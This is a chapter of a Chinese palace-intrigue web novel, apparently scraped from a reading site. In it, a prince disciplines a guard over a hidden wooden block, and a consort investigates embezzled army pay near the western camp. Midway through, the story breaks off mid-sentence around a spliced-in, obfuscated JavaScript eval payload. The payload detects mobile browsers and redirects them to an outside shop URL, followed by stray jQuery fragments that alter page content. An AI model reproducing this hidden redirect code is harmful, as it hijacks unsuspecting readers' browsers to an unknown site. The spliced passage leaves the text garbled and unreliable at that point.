33. 第 33 章

作品:《红杏满枝

    见他没有反应,修林急得不行:“殿下啊,您就听属下一句劝,千万不要冲动啊。”


    韩元修回过神来,语气淡淡地应了声:“此事,本王自有安排,你先下去吧。”


    说罢,他又坐回桌案后,垂眸看着桌上的布防图。


    修林回头看了一眼,见他又恢复成以往的沉静,才放心的转身离开。


    而冷静下来的韩元修,终于想起了西郊军营,连忙唤来暗卫。


    “速去西郊军营查一下,此事需暗中进行,不可让人起疑。”


    侍卫躬身应下,转瞬便消失。


    派去探查的几人还未传回消息,竹子那边却又有了新的消息。


    修林看着手中的木块,心里隐隐划过不安。


    他想将木块就地掩埋,却恰好被另一个同僚撞见:“哎,修林,你在这干啥呢?”


    他只得将木块藏回袖中,那人走过来,轻拍了下他的肩膀。


    “殿下不是叫我们去书房议事?你不会忘了吧?”


    “哦,我午膳吃多了,出来遛遛弯,走吧。”


    那人噗嗤一声笑了出来:“哦,你小子,吃了不少肉吧?也就咱家殿下仁义,让兄弟们顿顿吃得上肉,你再看看其他营地,哪有这么好的伙食,饭能吃饱不错了!”


    修林闻言,突然顿住步子,转头看向那人:“什么意思?还有将士吃不饱饭?”


    “对啊,我有一个兄弟,他大哥就在西郊军营,我也以为他们待遇不错,一问才知,他们伙食很一般,顿顿只吃青菜,一点油腥见不到不说,还拖欠军饷。”


    "不应该啊,他们可是負責上京布防的,怎会拖欠军饷?你是不是听岔了?"


    那人一脸不服:“不会,他大哥我还认识呢,不会听岔。”


    修林眼底闪过一丝惊诧,心中的不安愈发扩大。


    “哎,你倒是走啊?怎么又停下了?再不走,殿下待会该派人来催了!”


    见他还在原地愣神,那人便不由分说地拽住他的胳膊,修林却久久回不过神来。


    直到进了书房,众人议事结束,他的思绪也没能收回。


    韩元修将事情吩咐完,便让几人下去。转身时,见他楞在原地,就不耐地敲了敲桌案。


    这‘咚咚’的声响,瞬间让他回过神来,抬头看向桌案,正对上韩元修肃然的神色,他赶紧躬身回道。


    “殿下恕罪,属下方才在想事情,一时走神了,殿下有何吩咐?”


    韩元修一脸探究地看向他:“怎么了?这么心不在焉。”


    修林连忙垂下头,语气含糊:“没有,可,可能是我昨晚没睡好,殿下恕罪。”


    “你有事瞒着本王。”


    修林心下一虚,面上仍强装淡定,他摇头否认:“没有,属下不敢。”


    韩元修眸色一沉,眼含审视的扫过他的周身,最终停在他腰侧的位置。


    朝他抬了抬下巴:"藏了什么?拿出来!"


    修林扛不住他眼神的压迫,只得从怀里取出木块。


    “这是苏贵妃今早命人送来的,属下觉得她没安好心,怕对您不利,才,才想着将这木块处理了……”


    “你说什么?”


    韩元修蓦地打断他:“这是她要给本王的?”


    修林认命地点了点头:“是,竹子说,苏贵妃人在西郊军营,托他将这木块送过来,说是让您务必看一眼。”


    韩元修拿起木块,指腹摩擦过上面粗糙的纹路,又细闻了它的味道,眼神一凛。


    “这木块,从何处发现?”


    修林心下叹气,如实说道:“就在西郊附近的一处村庄里发现的。”


    说罢,他又有些不甘心,连忙劝说:“殿下,此事您还是别插手了,不如交由属下去查。”


    “知情不报,还要替本王做主?”他语气平静,却字字珠玑:“自己去领三十军棍,若有下次,绝不轻饶!”


    修林吓得跪到地上,冷汗浸湿额头:“属下领命!”


    他转身,径直往校场而去,路上,同僚们见他一脸肃穆,都觉奇怪,连忙拦住他。


    “修林,这个时辰你去校场做什么?”


    “对啊,你不吃午膳了?今日可是有鱼呢!”


    修林却没搭理他们,只继续前往。几人见他这般反应,愈发好奇,连忙跟了上去。


    “你这是又犯了什么错啊?大中午的殿下还要罚你军棍?”


    修林疼得说不出话,只不耐烦地朝几人摆手:“吃你们的鱼去!”


    见他疼得皱眉,几人忍不住笑起来。正要去饭堂吃鱼,却不想,又被殿下叫回书房。


    "眼下有一紧急情况,需去一趟西郊,谁愿随本王同去?"


    几人听后,先是怔了怔,随即连番劝说。


    “殿下,眼下不可贸然进京啊,有什么事,尽可吩咐属下去做。”


    “殿下,切勿冲动啊!无诏进京,视同谋反啊!”


    “行了。”


    韩元修不耐地打断道:“你们不必再劝,此事干系重大,若坐视不理,恐会动摇我朝根基。”


    几人闻言,顿时没了话,只得垂首听令。


    修林扶着墙慢慢往回走,见兄弟几人脚步匆匆,像是要外出,他连忙拦住他们。


    “你们这是要去哪?接到新任务了?该不会是要去西郊军营吧?”


    见他这副狼狈样,几人却是一点也同情不起来。


    “你就作吧,什么事都没搞清楚,就替殿下做决定,要我说啊,这三十军棍也少了。”


    一个身材壮硕的侍卫,没好气地瞪了他一眼。


    “你这话什么意思?”


    几人看他一眼,便摇头离开,独留修林一人在原地茫然。


    难道那木块还牵扯到什么要案?


    思及此,他连忙返回韩元修的书房,主动请缨:“殿下,派属下去查明此事吧!”


    韩元修未看他,只说了一句:“人手足够。”便抬手将他打发。


    知道殿下还在怪自己,他不敢再打搅,一脸落寞地转身走了。


    两日后,小锤子终于赶到西郊军营,将得到的消息告知苏寻雁。


    “果然如此,看来先前我的猜想是对的。”


    小锤子点头,接着道:“靖王已经派人赶来上京,暗中探查此事,他


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17226922|194595||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    让娘娘不要再插手。”


    苏寻雁露出一抹无奈地笑:“此事,就算我不管,也会牵扯其中,更何况,一切若真如我所料,我又岂能坐视不理。”


    知秋在旁听了片刻,仍是一脸懵。


    见二人话音暂落,她急忙追问:“娘娘,靖王发现什么了?您就别同奴婢打哑谜了,快告诉奴婢吧!”


    “那木块材质特殊,一般是用于武器制作,而那些村民,应也不是失踪那么简单。”小锤子压低声音,替她解惑。


    知秋惊讶地捂住嘴,求证地看向苏寻雁,得到肯定回答后,更是震惊。


    “竟是这样,难怪村民对我们那么戒备,看来他们也知晓此事!”


    苏寻雁不悦地瞪了她一眼:“小声些,你是生怕别人听不到?”


    知秋自知理亏,连忙捂嘴,只心下仍觉震惊。


    “娘娘,我们眼下要做什么?可要再去那村庄探查一番?”小锤子小声询问。


    “村子就不必去了,倒是可以跟上那些村民,说不定能寻到他们做工的地方。”


    小锤子自告奋勇:“娘娘,就让奴才去吧。”


    “不可。”苏寻雁却没同意:“他们既已见过我们,再去,只会让他们更加防备。”


    说着,她几步走到桌案后,在桌上寻到一张空白宣纸,几笔将信写完,递给小锤子。


    “去苏府,寻我母亲,她看后,自会安排好一切。”


    小锤子连忙将信收好,转身出去了。


    若他们能提前寻到地方,韩元修探查起来便能快上许多。


    也许韩屹此行的目的,就是那里?


    记得第一世时,林婉柔说过,军饷案是她与韩屹一同策划的。


    也许,韩屹早就知晓西郊军营存在军饷贪墨之事,却放任其发展,直到不得不处理,才顺水推舟,诬陷父亲。


    只可惜,眼下的线索还是太少,无法拼凑出事情的全貌,只能继续探查下去。


    这时,外面忽然传来一阵喧嚣,知秋连忙起身去看。


    不多时,她返回营帐,凑到苏寻雁耳边,小声说道。


    “娘娘,是陛下回来了,他好像还带回什么人,离得太远,奴婢没有看清,但看那身形,似是女子……”


    她越说越小声,说完,还悄悄看了眼苏寻雁的脸色。


    只见她神色如常,只淡声应了句:“哦,是吗?”便拿起榻上的游记,垂眸翻阅起来。


    知秋见状,先是一愣,转念一想,又有些忿忿不平,狠狠拍了几下椅子。


    “陛下这一去便是两日,连句话都没带回,原是为了旁的女子!”


    苏寻雁抬头看了她一眼,无奈地摇了摇头:“我都还未生气,你这又是何必?手可是自己的啊,不疼吗?”


    知秋却没管手,只顾替她鸣不平:“陛下此举,实在是太过分了!”


    望着眼前这张写满心疼与不忿的脸,苏寻雁恍如隔世。


    那时,知秋也曾这般,替她鸣不平。只可惜,她历经两世,却终究无法摆脱那个人。


    “好了,我们先过去看看,待会无论发生什么,你都要收着情绪,可记住了?”